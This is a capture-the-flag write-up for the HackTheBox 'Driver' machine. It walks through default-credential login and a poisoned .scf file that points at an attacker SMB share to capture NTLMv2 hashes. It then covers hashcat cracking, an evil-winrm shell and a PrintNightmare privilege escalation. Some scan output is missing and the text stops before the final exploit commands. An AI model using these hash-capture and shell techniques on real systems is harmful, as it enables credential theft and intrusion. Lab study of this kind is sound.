Driver Writeup
Introduction :
Driver is an easy Linux box released back in October 2021.
Driver is an easy Linux box released back in October 2021.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB]
→ nmap -sCV driver.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-21 18:39 UTC
Nmap scan report for driver.htb (10.129.95.238)
Host is up (0.054s latency).

Nmap done: 1 IP address (1 host up) scanned in 53.89 seconds
Our nmap scan picked up port 80, so let's investigate it:
We try randomly admin:admin as the credentials and we login:
Now in order to exploit this MFP Firmware Update Center we need to make a scf file as seen here:
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Driver]
→ vim file.scf
[ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Driver]
→ cat file.scf
[Shell]
Command = 2
IconFile = "\\10.10.16.14\nihilism\nothing.txt"
[Taskbar]
Command = "ToggleDesktop"
Then start a responder session as we upload the poisoned file:
[ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Driver]
→ sudo responder -I tun0

And we got a response on our file gets uploaded! So we recieved a NTLMv2 Hash, coming from the username tony. So let's crack the NTLMv2 Hash using rockyou.txt:
[ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Driver]
→ sudo hashcat hash -m5600 $(locate rockyou.txt)

So now we have the credentials tony:liltony, let's connect with an evil-winrm shell :
[ 10.10.14.37/23 ] [ /dev/pts/15 ] [Nextcloud/blog]
→ evil-winrm -i driver.htb -u tony -p liltony
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

cd De*Evil-WinRM* PS C:\Users\tony> cd Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt

And we got the User flag!
Now in order to enumerate privesc paths, we run winpeas:
[ 10.10.14.37/23 ] [ /dev/pts/15 ] [Nextcloud/blog]
→ evil-winrm -i driver.htb -u tony -p liltony
Evil-WinRM shell v3.4

*Evil-WinRM* PS C:\Users\tony\Documents> .\winPEAS.bat
Let it run, then we get a hint towards the ConsoleHost_history text file:
*Evil-WinRM* PS C:\Users\tony\Documents> cat C:\users\tony\appdata\roaming\microsoft\windows\PowerShell\PSReadline\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'
ping 1.1.1.1
ping 1.1.1.1
Here we see history file contains a comamnd to add a printer with the RICOH_PCL6 printer driver. So when we look for exploits we find the CVE-2021-34527 local privesc vulnerability:

Then download the ps1 exploit onto the box and run it:

However it doesn't let us run scripts on the machine, so instead we're going to run it from memory:
